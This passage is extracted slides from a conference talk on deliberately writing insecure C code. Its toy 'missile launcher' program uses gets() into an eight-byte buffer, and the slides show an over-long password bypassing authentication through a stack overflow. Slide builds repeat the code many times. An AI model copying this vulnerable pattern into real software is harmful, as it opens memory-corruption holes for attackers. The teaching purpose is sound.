Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious
security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing,
shellcode, arc injection, return-oriented programming. You also need to know about annoying protection
mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more.
This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentation
Norwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Update:A recording of this talk is available at http://vimeo.com/channels/ndc2014/97505677
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious
security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing,
shellcode, arc injection, return-oriented programming. You also need to know about annoying protection
mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more.
This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentation
Norwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious
security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing,
shellcode, arc injection, return-oriented programming. You also need to know about annoying protection
mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more.
This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentation
Norwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:
Introduction
Advanced
Expert
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious
security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing,
shellcode, arc injection, return-oriented programming. You also need to know about annoying protection
mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more.
This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentation
Norwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:
Introduction
Advanced
Expert
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious
security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing,
shellcode, arc injection, return-oriented programming. You also need to know about annoying protection
mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more.
This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentation
Norwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:
Introduction
Advanced
Expert
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious
security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing,
shellcode, arc injection, return-oriented programming. You also need to know about annoying protection
mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more.
This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentation
Norwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:
Introduction
Advanced
Expert
Insecure coding in C (and C++)
Insecure coding in C (and C++)
When I refer to "my machine" it is a fairly up-to-date Ubuntu
distro (13.10) running inVirtualBox with x86-32 Linux kernel
(3.11) and gcc (4.8.1) - there is nothing special here...
I will briefly discuss the following topics:
•stack buffer overflow (aka stack smashing)
•call stack (aka activation frames)
•writing exploits
•arc injection (aka return to lib-c)
•code injection (aka shell code)
•data execution protection (aka DEP, PAE/NX,W^X)
•address space layout randomization (ASLR)
•stack protection (aka stack canaries)
•return-oriented programming (ROP)
•writing code with "surprising" behavior
•layered security
•information leakage
•patching binaries
•summary - a few tricks for insecure coding
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Here is a classic example of exploitable code
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Here is a classic example of exploitable code
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Here is a classic example of exploitable code
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
This program is bad in so many ways, but
the main weakness we are going to have fun
with is of course the use of gets()
Here is a classic example of exploitable code
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
This program is bad in so many ways, but
the main weakness we are going to have fun
with is of course the use of gets()
gets() is a function that will read characters
from stdin until a newline or end-of-file is
reached, and then a null character is
appended. In this case, any input of more than
7 characters will overwrite data outside of the
allocated space for the buffer
Here is a classic example of exploitable code
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
This program is bad in so many ways, but
the main weakness we are going to have fun
with is of course the use of gets()
gets() is a function that will read characters
from stdin until a newline or end-of-file is
reached, and then a null character is
appended. In this case, any input of more than
7 characters will overwrite data outside of the
allocated space for the buffer
I never use gets()
Here is a classic example of exploitable code
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
This program is bad in so many ways, but
the main weakness we are going to have fun
with is of course the use of gets()
gets() is a function that will read characters
from stdin until a newline or end-of-file is
reached, and then a null character is
appended. In this case, any input of more than
7 characters will overwrite data outside of the
allocated space for the buffer
I never use gets()
That's nice to hear, and gets() has actually
been deprecated and removed from latest
version of the language.We use it anyway here
just to make it easier to illustrate the basics. In
C and C++ there are plenty of ways to
accidentally allow you to poke directly into
memory - we will mention some of those later
later. But for now...
Here is a classic example of exploitable code
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Let's try executing the code
and see what happens.
$ ./launch
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access denied
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access denied
Operation complete
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access denied
Operation complete
$ ./launch
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret:
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
$ ./launch
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret:
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Launching 1869443685 missiles
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Launching 1869443685 missiles
Access denied
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Operation complete
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Launching 1869443685 missiles
Access denied
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Operation complete
$
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Launching 1869443685 missiles
Access denied
Let's try executing the code
and see what happens.
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Operation complete
$
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Launching 1869443685 missiles
Access denied
Let's try executing the code
and see what happens.
Due to an overflow we seem to have
changed the value of allowaccess and
the value of n_missiles. Interesting!
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Operation complete
$
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Launching 1869443685 missiles
Access denied
Huh?
Let's try executing the code
and see what happens.
Due to an overflow we seem to have
changed the value of allowaccess and
the value of n_missiles. Interesting!
$ ./launch
WarGames MissileLauncher v0.1
Secret:
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Operation complete
$
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
David
Access granted
Launching 1869443685 missiles
Access denied
Huh?
Let's try executing the code
and see what happens.
Due to an overflow we seem to have
changed the value of allowaccess and
the value of n_missiles. Interesting!
... but why did it also print
Access denied?
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ ./launch
WarGames MissileLauncher v0.1
Secret: David
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ ./launch
WarGames MissileLauncher v0.1
Secret: David
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
What we just saw was an example of stack
buffer overflow, aka stack smashing.When
overwriting the response buffer we also
changed the memory location used by variable
allowaccess and n_missiles
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ ./launch
WarGames MissileLauncher v0.1
Secret: David
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
C and C++ are languages that are mostly defined by
its behavior.The standards says very little about how
things should be implemented. Indeed, while it is
common to hear discussions about call stack when
talking about C and C++, it is worth noting that the
standards does not mention the concept at all.
What we just saw was an example of stack
buffer overflow, aka stack smashing.When
overwriting the response buffer we also
changed the memory location used by variable
allowaccess and n_missiles
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
